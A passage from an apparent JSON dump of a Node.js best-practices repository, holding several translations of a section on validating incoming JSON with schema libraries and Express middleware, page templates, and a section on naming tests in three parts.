    "content": "# 受信した JSON スキーマを検証する\r\n\r\n### 一段落説明\r\n\r\n検証とは、アプリケーションがどのようなペイロードを受け付けるかを明確にし、入力が期待する値からかけ離れている場合には素早く失敗することです。これにより、攻撃者が異なる構造、値、長さのペイロードを試すことができなくなり、攻撃対象を最小限に抑えることができます。実際には、DDoS（入力が十分に定義されていればコードが失敗する可能性は低い）や、安全でないでシリアライゼーション（Insecure Deserialization、JSON に驚きはありません）のような攻撃を防ぐことができます。バリデーションはコード化されたり、クラスや型（TypeScript や ES6 クラス）に依存したりすることができますが、コーディングなしに複雑なルールを宣言できたり、フロントエンドと期待する条件を共有できるため、コミュニティはいっそう JSON ベースのスキーマを好むようになってきているようです。JSON スキーマは、多くの npm ライブラリやツール（例：[jsonschema](https://www.npmjs.com/package/jsonschema)、[Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)）でサポートされている、急成長中の標準であり、[joi](https://www.npmjs.com/package/@hapi/joi) もまた、糖衣構文で非常に人気があります。一般的に、JSON 構文はすべての検証シナリオをカバーすることはできず、カスタムコードや [validator.js](https://github.com/chriso/validator.js/) のような、プリベークされた検証フレームワークが便利です。選択した構文にかからわず、できる限り早く検証を実施するようにしてください - 例えば、Express ミドルウェアを使用して、リクエストがルートハンドラに渡される前にリクエストボディを検証する、などです。\r\n\r\n### 例 - JSON スキーマ検証ルール\r\n\r\n```json\r\n{\r\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\r\n    \"title\": \"Product\",\r\n    \"description\": \"A product from Acme's catalog\",\r\n    \"type\": \"object\",\r\n    \"properties\": {\r\n        \"name\": {\r\n            \"description\": \"Name of the product\",\r\n            \"type\": \"string\"\r\n        },\r\n        \"price\": {\r\n            \"type\": \"number\",\r\n            \"exclusiveMinimum\": 0\r\n        }\r\n    },\r\n    \"required\": [\"id\", \"name\", \"price\"]\r\n}\r\n```\r\n\r\n\r\n### 例 - JSON スキーマを用いてエンティティを検証する\r\n\r\n```javascript\r\nconst JSONValidator = require('jsonschema').Validator;\r\n\r\nclass Product {\r\n\r\n  validate() {\r\n    const v = new JSONValidator();\r\n\r\n    return v.validate(this, schema);\r\n  }\r\n\r\n  static get schema() {\r\n    //define JSON-Schema, see example above\r\n  }\r\n}\r\n\r\n```\r\n\r\n### 例 - ミドルウェアバリデータの使い方\r\n\r\n```javascript\r\n// このバリデータは、エンティティを得て検証し、body ペイロードの検証が失敗した場合には\r\n// HTTP ステータス 400 （Bas Reqeust） を返す、総称的なミドルウェアです\r\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\r\n    // ルートハンドラのコードがここにきます\r\n});\r\n\r\n```\r\n\r\n\r\n\r\n### 他のブロガーが言っていること\r\n\r\nブログ [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview) より:\r\n> アプリケーションのセキュリティにおいて、ユーザーの入力を検証することは最も重要なことの一つです。それを正しく行うことができない場合、コマンドインジェクションや SQL インジェクション、格納型クロスサイトスクリプティングといった広範囲の攻撃に、アプリケーションやユーザーをさらすことになります。\r\n>\r\n> ユーザーの入力を検証するために、あなたが選ぶことができる最高のライブラリの1つは joiです。joi は JavaScript オブジェクトのための、オブジェクトスキーマ記述言語であり、バリデータです。\r\n"
  },
  {
    "path": "sections/security/validation.md",
    "content": "# Validate the incoming JSON schemas\r\n\r\n### One Paragraph Explainer\r\n\r\nValidation is about being very explicit on what payload our app is willing to accept and failing fast should the input deviate from the expectations. This minimizes the attacker's surface who can no longer try out payloads with a different structure, values and length. Practically it prevents attacks like DDOS (code is unlikely to fail when the input is well defined) and Insecure Deserialization (JSON contain no surprises). Though validation can be coded or relied upon classes and types (TypeScript, ES6 classes) the community seems to increasingly like JSON-based schemas as these allow declaring complex rules without coding and share the expectations with the frontend. JSON-schema is an emerging standard that is supported by many npm libraries and tools (e.g. [jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [joi](https://www.npmjs.com/package/@hapi/joi) is also highly popular with sweet syntax. Typically JSON syntax can't cover all validation scenario and custom code or pre-baked validation frameworks like [validator.js](https://github.com/chriso/validator.js/) come in handy. Regardless of the chosen syntax, ensure to run the validation as early as possible - For example, by using Express middleware that validates the request body before the request is passed to the route handler\r\n\r\n### Example - JSON-Schema validation rules\r\n\r\n```json\r\n{\r\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\r\n    \"title\": \"Product\",\r\n    \"description\": \"A product from Acme's catalog\",\r\n    \"type\": \"object\",\r\n    \"properties\": {\r\n        \"name\": {\r\n            \"description\": \"Name of the product\",\r\n            \"type\": \"string\"\r\n        },\r\n        \"price\": {\r\n            \"type\": \"number\",\r\n            \"exclusiveMinimum\": 0\r\n        }\r\n    },\r\n    \"required\": [\"id\", \"name\", \"price\"]\r\n}\r\n```\r\n\r\n\r\n### Example - Validating an entity using JSON-Schema\r\n\r\n```javascript\r\nconst JSONValidator = require('jsonschema').Validator;\r\n\r\nclass Product {\r\n\r\n  validate() {\r\n    const v = new JSONValidator();\r\n\r\n    return v.validate(this, schema);\r\n  }\r\n\r\n  static get schema() {\r\n    //define JSON-Schema, see example above\r\n  }\r\n}\r\n\r\n```\r\n\r\n### Example - Usage of middleware validator\r\n\r\n```javascript\r\n// The validator is a generic middleware that gets the entity it should validate and takes care to return\r\n// HTTP status 400 (Bad Request) should the body payload validation fail\r\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\r\n    // route handling code goes here\r\n});\r\n\r\n```\r\n\r\n\r\n\r\n### What other bloggers say\r\n\r\nFrom the blog [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview):\r\n> Validating user input is one of the most important things to do when it comes to the security of your application. Failing to do it correctly can open up your application and users to a wide range of attacks, including command injection, SQL injection or stored cross-site scripting.<br/>\r\n\r\nTo validate user input, one of the best libraries you can pick is joi. Joi is an object schema description language and validator for JavaScript objects.\r\n"
  },
  {
    "path": "sections/security/validation.polish.md",
    "content": "# Sprawdź poprawność przychodzących schematów JSON\n\n### Wyjaśnienie jednym akapitem\n\nSprawdzanie poprawności polega na tym, aby bardzo jasno określić, jaki payload nasza aplikacja jest gotowa zaakceptować i szybko zawieść, jeśli dane wejściowe odbiegają od oczekiwań. Minimalizuje to powierzchnię atakujących, którzy nie mogą już wypróbowywać payloads o innej strukturze, wartościach i długości. Praktycznie zapobiega atakom takim jak DDOS (kod prawdopodobnie nie zawiedzie, gdy dane wejściowe są dobrze zdefiniowane) i Insecure Deserialization (JSON nie zawiera niespodzianek). Chociaż sprawdzanie poprawności można kodować lub polegać na klasach i typach (klasy TypeScript, ES6), społeczność wydaje się coraz bardziej lubić schematy oparte na JSON, ponieważ pozwalają one na deklarowanie złożonych reguł bez kodowania i dzielą się oczekiwaniami z interfejsem użytkownika. Schemat JSON to nowy standard, który jest obsługiwany przez wiele bibliotek i narzędzi npm (np. [Jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [joi](https://www.npmjs.com/package/joi) jest również bardzo popularny ze słodką składnią. Zazwyczaj składnia JSON nie może obejmować wszystkich scenariuszy sprawdzania poprawności i przydają się niestandardowe kody lub wstępnie przygotowane ramy sprawdzania poprawności, takie jak [validator.js](https://github.com/chriso/validator.js/). Bez względu na wybraną składnię upewnij się, aby uruchomić sprawdzanie poprawności tak wcześnie, jak to możliwe - na przykład, używając oprogramowania pośredniego Express, które sprawdza poprawność treści żądania przed przekazaniem żądania do procedury obsługi trasy\n\n### Przykład - JSON-Schema validation rules\n\n```json\n{\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\n    \"title\": \"Product\",\n    \"description\": \"A product from Acme's catalog\",\n    \"type\": \"object\",\n    \"properties\": {\n        \"name\": {\n            \"description\": \"Name of the product\",\n            \"type\": \"string\"\n        },\n        \"price\": {\n            \"type\": \"number\",\n            \"exclusiveMinimum\": 0\n        }\n    },\n    \"required\": [\"id\", \"name\", \"price\"]\n}\n```\n\n\n### Przykład - Validating an entity using JSON-Schema\n\n```javascript\nconst JSONValidator = require('jsonschema').Validator;\n\nclass Product {\n  \n  validate() {\n    const v = new JSONValidator();\n\n    return v.validate(this, schema);\n  }\n\n  static get schema() {\n    //define JSON-Schema, see example above\n  }\n}\n\n```\n\n### Przykład - Zastosowanie walidatora middleware\n\n```javascript\n// The validator is a generic middleware that gets the entity it should validate and takes care to return\n// HTTP status 400 (Bad Request) should the body payload validation fail\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\n    // route handling code goes here\n});\n\n```\n\n\n\n### Co inni blogerzy mówią\n\nZ bloga [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview):\n> Validating user input is one of the most important things to do when it comes to the security of your application. Failing to do it correctly can open up your application and users to a wide range of attacks, including command injection, SQL injection or stored cross-site scripting.<br/>\n\nAby sprawdzić poprawność danych wprowadzanych przez użytkownika, jedną z najlepszych bibliotek, jaką możesz wybrać, jest joi. Joi jest językiem opisu i sprawdzania poprawności schematów obiektów dla obiektów JavaScript.\n"
  },
  {
    "path": "sections/security/validation.russian.md",
    "content": "# Проверяйте входящие схемы JSON\r\n\r\n### Объяснение в один абзац\r\n\r\nПроверка заключается в том, чтобы очень четко определить, какую полезную нагрузку готово принять ваше приложение, и быстро провалиться, если входные данные отклоняются от ожиданий. Это минимизирует область действия атакующего, который больше не может испытывать полезные нагрузки с другой структурой, значениями и длиной. Практически это предотвращает такие атаки, как DDOS (код вряд ли потерпит неудачу, когда ввод правильно определен) и небезопасная десериализация (JSON не содержит сюрпризов). Хотя валидация может быть закодирована или основана на классах и типах (классы TypeScript, ES6), сообществу все больше нравятся схемы на основе JSON, поскольку они позволяют объявлять сложные правила без кодирования и делить ожидания с внешним интерфейсом. JSON-схема - это новый стандарт, который поддерживается многими библиотеками и инструментами npm (например, [jsonschema](https://www.npmjs.com/package/jsonschema), [Postman](http://blog.getpostman.com/2017/07/28/api-testing-tips-from-a-postman-professional/)), [joi](https://www.npmjs.com/package/joi) также очень популярны среди приятного синтаксиса. Как правило, синтаксис JSON не может охватить весь сценарий проверки, и полезный пользовательский код или предварительно запеченные платформы проверки, такие как [validator.js](https://github.com/chriso/validator.js/). Независимо от выбранного синтаксиса, убедитесь, что проверка запущена как можно раньше - например, с помощью промежуточного программного обеспечения Express, которое проверяет тело запроса до его передачи обработчику маршрута.\r\n\r\n### Пример - правила проверки JSON-схемы\r\n\r\n```json\r\n{\r\n    \"$schema\": \"http://json-schema.org/draft-06/schema#\",\r\n    \"title\": \"Product\",\r\n    \"description\": \"A product from Acme's catalog\",\r\n    \"type\": \"object\",\r\n    \"properties\": {\r\n        \"name\": {\r\n            \"description\": \"Name of the product\",\r\n            \"type\": \"string\"\r\n        },\r\n        \"price\": {\r\n            \"type\": \"number\",\r\n            \"exclusiveMinimum\": 0\r\n        }\r\n    },\r\n    \"required\": [\"id\", \"name\", \"price\"]\r\n}\r\n```\r\n\r\n\r\n### Пример - проверка сущности с использованием JSON-схемы\r\n\r\n```javascript\r\nconst JSONValidator = require('jsonschema').Validator;\r\n\r\nclass Product {\r\n  \r\n  validate() {\r\n    const v = new JSONValidator();\r\n\r\n    return v.validate(this, schema);\r\n  }\r\n\r\n  static get schema() {\r\n    //define JSON-Schema, see example above\r\n  }\r\n}\r\n\r\n```\r\n\r\n### Пример - использование средства проверки промежуточного программного обеспечения\r\n\r\n```javascript\r\n// The validator is a generic middleware that gets the entity it should validate and takes care to return\r\n// HTTP status 400 (Bad Request) should the body payload validation fail\r\nrouter.post('/' , **validator(Product.validate)**, async (req, res, next) => {\r\n    // route handling code goes here\r\n});\r\n\r\n```\r\n\r\n\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз блога [Gergely Nemeth](https://nemethgergely.com/blog/nodejs-security-overview):\r\n> Проверка правильности ввода данных пользователем является одной из самых важных вещей, которые необходимо предпринять, когда речь заходит о безопасности вашего приложения. Неспособность сделать это правильно может открыть ваше приложение и пользователей для широкого спектра атак, включая внедрение команд, внедрение SQL или хранимые межсайтовые сценарии.<br/>\r\n\r\nДля проверки ввода пользователя одна из лучших библиотек, которую вы можете выбрать, - это joi. Joi - это язык описания схемы объектов и валидатор для объектов JavaScript.\r\n"
  },
  {
    "path": "sections/template.basque.md",
    "content": "# Izenburua hemen\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nTestua\r\n\r\n<br/><br/>\r\n\r\n### Kode Adibidea: azalpena\r\n\r\n```javascript\r\nkodea hemen\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Kode Adibidea: beste azalpen bat\r\n\r\n```javascript\r\nkodea hemen\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blogeko aipua: \"Izenburua\"\r\n\r\nBlogean, pouchdb.comek “Node Promesak hitz gakoarentzat 11.posizioa du\r\n\r\n> …testua hemen\r\n\r\n<br/><br/>\r\n\r\n### Adibidea: CodeClimaterekin funtzio konplexuen analisia (iragarkia)\r\n\r\n![alt text](../assets/images/codeanalysis-climate-complex-methods.PNG \"Funtzio konplexuen analisia\")\r\n\r\n### Adibidea: CodeClimaterekin kode analisi joerak eta historia (iragarkia)\r\n\r\n![alt text](../assets/images/codeanalysis-climate-history.PNG \"Kode analisiaren historia\")\r\n\r\n### Adibidea: SonarQuberekin kode analisiaren laburpena eta joerak (iragarkia)\r\n\r\n![alt text](../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Kode analisiaren historia\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/template.md",
    "content": "# Title here\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nText\r\n\r\n<br/><br/>\r\n\r\n### Code Example – explanation\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code Example – another\r\n\r\n```javascript\r\ncode here\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"Title\"\r\n\r\n From the blog, pouchdb.com ranked 11 for the keywords “Node Promises”\r\n\r\n > …text here\r\n\r\n<br/><br/>\r\n\r\n ### Example: Complex methods analysis with CodeClimate (commercial)\r\n\r\n![alt text](../assets/images/codeanalysis-climate-complex-methods.PNG \"Complex methods analysis\")\r\n\r\n### Example: Code analysis trends and history with CodeClimate (commercial)\r\n\r\n![alt text](../assets/images/codeanalysis-climate-history.PNG \"Code analysis history\")\r\n\r\n### Example: Code analysis summary and trends with SonarQube (commercial)\r\n\r\n![alt text](../assets/images/codeanalysis-sonarqube-dashboard.PNG \"Code analysis history\")\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.basque.md",
    "content": "# Erabili 3 zati proba izen bakoitzean\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nProben txostenak esan behar du aplikazioaren berrikuspenak erantzuten dien kodea nahitaez ezagutzen ez duten pertsonen beharrei: probatzailea, inplementazioa egiten ari den DevOps injinerua eta zu zeu hemendik bi urtera. Hori errazago lortuko duzu probak eskatutako baldintzak kontuan hartzen baditu eta hiru zatiz osatua badago:\r\n\r\n(1) Zer ari gara probatzen? Adibidez, ProduktuZerbitzua.gehituProduktuBerria funtzioa\r\n\r\n(2) Zein egoera eta agertokitan? Adibidez, ez zaio preziorik pasatzen funtzioari\r\n\r\n(3) Zein da espero den emaitza? Adibidez, produktu berria ez dago onartua\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: 3 zati dituen proba izena\r\n\r\n```javascript\r\n//1. unitatea frogapean\r\ndescribe('Produktu Zerbitzua', () => {\r\n  describe('Produktu berria gehitu', () => {\r\n    //2. kasua eta 3. esperotakoa\r\n    it('Prezioa zehaztuta ez dagoenean, produktuaren egoera baieztapenaren zai dago', () => {\r\n      const produktuBerria = new ProduktuZerbitzua().gehitu(...);\r\n      expect(produktuBerria.egoera).to.equal('baieztapenarenZai');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Anti ereduaren kode adibidea: norberak proba osoaren kodea irakurri behar du eta asmoa ulertu\r\n```javascript\r\ndescribe('Produktu Zerbitzua', () => {\r\n  describe('Produktu berria gehitu', () => {\r\n    it('Egoera zuzena itzuli behar du', () => {\r\n        //mmm, zer egiaztatzen ari da proba hau? zein da kasua eta espero dena?\r\n      const produktuBerria = new ProduktuZerbitzua().gehitu(...);\r\n      expect(produktuBerria.egoera).to.equal('baieztapenarenZai');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### \"Zuzen egiteko adibidea: proben txostenak dokumentuaren baldintzak biltzen ditu\"\r\n\r\n[\"30 Node.jsren proba jarraibide egokiak\" blogetik hartua, Yoni Goldbergen eskutik](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n![Proba txostenaren adibidea](../../assets/images/test-report-like-requirements.jpeg \"Proba txostenaren adibidea\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.brazilian-portuguese.md",
    "content": "# Inclua 3 partes em cada nome de teste\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nUm relatório de teste deve informar se a revisão atual do aplicativo satisfaz os requisitos para as pessoas que não estão necessariamente familiarizadas com o código: o testador, o engenheiro de DevOps que está implantando e o futuro daqui a dois anos. Isso pode ser melhor alcançado se os testes falarem no nível de requisitos e incluírem 3 partes:\r\n\r\n(1) O que está sendo testado? Por exemplo, o método ProductsService.addNewProduct\r\n\r\n(2) Em que circunstâncias e cenário? Por exemplo, nenhum preço é passado para o método\r\n\r\n(3) Qual é o resultado esperado? Por exemplo, o novo produto não é aprovado\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: um nome de teste que inclui 3 partes\r\n```javascript\r\n//1. unidade em teste\r\ndescribe('Serviço de Produtos', function() {\r\n  describe('Adicionar novo produto', function() {\r\n    //2. cenário e 3. expectativa\r\n    it('Quando nenhum preço é especificado, o status do produto está aguardando aprovação', ()=> {\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código - Anti-padrão: é necessário ler todo o código de teste para entender a intenção\r\n```javascript\r\ndescribe('Serviço de Produtos', function() {\r\n  describe('Adicionar novo produto', function() {\r\n    it('Deve devolver o status correto', ()=> {\r\n        //hmm, o que é esta verificação de teste? Quais são o cenário e a expectativa?\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n###  \"Fazendo direito exemplo: O relatório de teste se assemelha ao documento de requisitos\"\r\n\r\n [Do blog \"30 Node.js testing best practices\" por Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![Um exemplo de relatório de teste](../../assets/images/test-report-like-requirements.jpeg \"Um exemplo de relatório de teste\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.french.md",
    "content": "# Incluez 3 parties dans chaque nom de test\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nUn rapport de test devrait indiquer si la révision actuelle de l'application satisfait aux exigences des personnes qui ne sont pas nécessairement familières avec le code : le testeur, l'ingénieur DevOps qui déploie et vous dans deux ans. Cela peut être mieux réalisé si les tests décrivent le niveau d'exigence et comprennent 3 parties :\n\n(1) Qu'est-ce qui est testé ? Par exemple, la méthode `ProductsService.addNewProduct`\n\n(2) Dans quelles circonstances et dans quel scénario ? Par exemple, aucun prix n'est transmis à la méthode\n\n(3) Quel est le résultat attendu ? Par exemple, le nouveau produit n'est pas approuvé<br/><br/>\n\n<br/><br/>\n\n### Exemple de code : un nom de test qui comprend 3 parties\n```javascript\n//1. unité testée\ndescribe('Service Produits', () => {\n  describe('Ajoute un nouveau produit', () => {\n    //2. scénario et 3. attente\n    it('Quand aucun prix n\\'est spécifié, alors le statut du produit est en attente d\\'approbation', () => {\n      const newProduct = new ProductService().add(...);\n      expect(newProduct.status).to.equal('validationEnAttente');\n    });\n  });\n});\n```\n\n<br/><br/>\n\n### Contre exemple de code : il faut lire l'intégralité du code du test pour comprendre l'intention\n```javascript\ndescribe('Service Produits', () => {\n  describe('Ajoute un nouveau produit', () => {\n    it('Devrait retourner le bon statut', () => {\n      //hmm, quelle est cette vérification de test ? quels sont le scénario et les attentes ?\n      const newProduct = new ProductService().add(...);\n      expect(newProduct.status).to.equal('validationEnAttente');\n    });\n  });\n});\n```\n\n<br/><br/>\n\n###  « Un exemple à suivre : le rapport de test ressemble au document des spécifications »\n\n [Extrait du blog de « 30 bonnes pratiques de test avec Node.js » par Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\n\n ![Un exemple de rapport de test](../../assets/images/test-report-like-requirements.jpeg \"Un exemple de rapport de test\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.japanese.md",
    "content": "# 各テスト名に 3 つの要素を含む\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nテストレポートは、コードに詳しくない人々のために、現在のアプリケーションの修正が要件を満たしているかどうか伝えるべきです: テスター、デプロイを担当している DevOps エンジニア、2 年後の未来のあなた自身といった人々のため、です。これは、テスト名が要件レベルを表し、次の 3 つの要素を含む場合に最もよく達成されます:\r\n\r\n（1） 何がテストされているのか？ 例: ProductsService.addNewProduct メソッド\r\n\r\n（2） どのような状況、シナリオ下なのか？ 例: price という引数がメソッドに渡されていない\r\n\r\n（3） 期待する結果は何か？ 例: 新しい製品（new product）が承認されない\r\n\r\n<br/><br/>\r\n\r\n### コード例: 3 つの要素を含むテスト名\r\n```javascript\r\n//1. テスト対象のユニット\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    //2. シナリオ、そして 3. 期待する結果\r\n    it('When no price is specified, then the product status is pending approval', () => {\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例 – アンチパターン: 意図を理解するためにコード全体を読まなければならない\r\n```javascript\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    it('Should return the right status', () => {\r\n      // えーと、このテストは何をチェックしているのでしょうか？シナリオと期待する結果は何でしょうか？\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### \"Doing It Right Example: The test report resembles the requirements document\"（適切な例: テストレポートは要件ドキュメントに似ています）\r\n\r\n [Yoni Goldberg によるブログ記事 \"30 Node.js testing best practices\"](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![テストレポートの例](../../assets/images/test-report-like-requirements.jpeg \"テストレポートの例\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.md",
    "content": "# Include 3 parts in each test name\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nA test report should tell whether the current application revision satisfies the requirements for the people who are not necessarily familiar with the code: the tester, the DevOps engineer who is deploying and the future you two years from now. This can be achieved best if the tests speak at the requirements level and include 3 parts:\r\n\r\n(1) What is being tested? For example, the ProductsService.addNewProduct method\r\n\r\n(2) Under what circumstances and scenario? For example, no price is passed to the method\r\n\r\n(3) What is the expected result? For example, the new product is not approved\r\n\r\n<br/><br/>\r\n\r\n### Code example: a test name that includes 3 parts\r\n```javascript\r\n//1. unit under test\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    //2. scenario and 3. expectation\r\n    it('When no price is specified, then the product status is pending approval', () => {\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Anti Pattern: one must read the entire test code to understand the intent \r\n```javascript\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    it('Should return the right status', () => {\r\n      //hmm, what is this test checking? what are the scenario and expectation?\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n###  \"Doing It Right Example: The test report resembles the requirements document\"\r\n\r\n [From the blog \"30 Node.js testing best practices\" by Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![A test report example](../../assets/images/test-report-like-requirements.jpeg \"A test report example\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.polish.md",
    "content": "# Dołącz 3 części do każdej nazwy testu\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nRaport z testu powinien informować, czy bieżąca wersja aplikacji spełnia wymagania osób, które niekoniecznie znają kod: testera, wdrażającego program DevOps i przyszłego ciebie za dwa lata. Można to najlepiej osiągnąć, jeśli testy mówią na poziomie wymagań i obejmują 3 części:\n\n(1) Co jest testowane? Na przykład, metoda ProductsService.addNewProduct\n\n(2) W jakich okolicznościach i scenariuszu? Na przykład, żadna cena nie jest przekazywana do metody\n\n(3) Jaki jest oczekiwany wynik? Na przykład nowy produkt nie został zatwierdzony\n\n<br/><br/>\n\n### Przykład kodu: nazwa testu, która obejmuje 3 części\n```javascript\n//1. unit under test\ndescribe('Products Service', () => {\n  describe('Add new product', () => {\n    //2. scenario and 3. expectation\n    it('When no price is specified, then the product status is pending approval', () => {\n      const newProduct = new ProductService().add(...);\n      expect(newProduct.status).to.equal('pendingApproval');\n    });\n  });\n});\n```\n\n<br/><br/>\n\n### Przykład kodu - Antywzorzec: należy przeczytać cały kod testowy, aby zrozumieć zamiar\n```javascript\ndescribe('Products Service', () => {\n  describe('Add new product', () => {\n    it('Should return the right status', () => {\n        //hmm, what is this test checking? what are the scenario and expectation?\n      const newProduct = new ProductService().add(...);\n      expect(newProduct.status).to.equal('pendingApproval');\n    });\n  });\n});\n```\n\n<br/><br/>\n\n###  \"Przykład robienia tego dobrze: raport z testu przypomina dokument wymagań\"\n\n [Z bloga \"30 Node.js testing best practices\" od Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\n\n ![Przykład raportu testu](../../assets/images/test-report-like-requirements.jpeg \"A test report example\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/testingandquality/3-parts-in-name.russian.md",
    "content": "# Включите 3 части в каждое название теста\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nВ отчете о тестировании должно быть указано, удовлетворяет ли текущая версия приложения требованиям людей, которые не обязательно знакомы с кодом: тестировщик, инженер DevOps, который развертывает, и будущее, которое вы через два года. Это может быть достигнуто наилучшим образом, если тесты говорят на уровне требований и состоят из 3 частей:\r\n\r\n(1) Что тестируется? Например, метод ProductsService.addNewProduct\r\n\r\n(2) При каких обстоятельствах и сценарии? Например, в метод не передается цена\r\n\r\n(3) Каков ожидаемый результат? Например, новый продукт не утвержден\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: имя теста, состоящее из 3 частей\r\n```javascript\r\n//1. unit under test\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    //2. scenario and 3. expectation\r\n    it('When no price is specified, then the product status is pending approval', () => {\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - Антипаттерн: нужно прочитать весь тестовый код, чтобы понять намерение\r\n```javascript\r\ndescribe('Products Service', () => {\r\n  describe('Add new product', () => {\r\n    it('Should return the right status', () => {\r\n        //hmm, what is this test checking? what are the scenario and expectation?\r\n      const newProduct = new ProductService().add(...);\r\n      expect(newProduct.status).to.equal('pendingApproval');\r\n    });\r\n  });\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### \"Как правильно сделать пример: отчет об испытаниях напоминает документ с требованиями\"\r\n\r\n [From the blog \"30 Node.js testing best practices\" by Yoni Goldberg](https://medium.com/@me_37286/yoni-goldberg-javascript-nodejs-testing-best-practices-2b98924c9347)\r\n\r\n ![A test report example](../../assets/images/test-report-like-requirements.jpeg \"A test report example\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/testingandquality/aaa.basque.md",
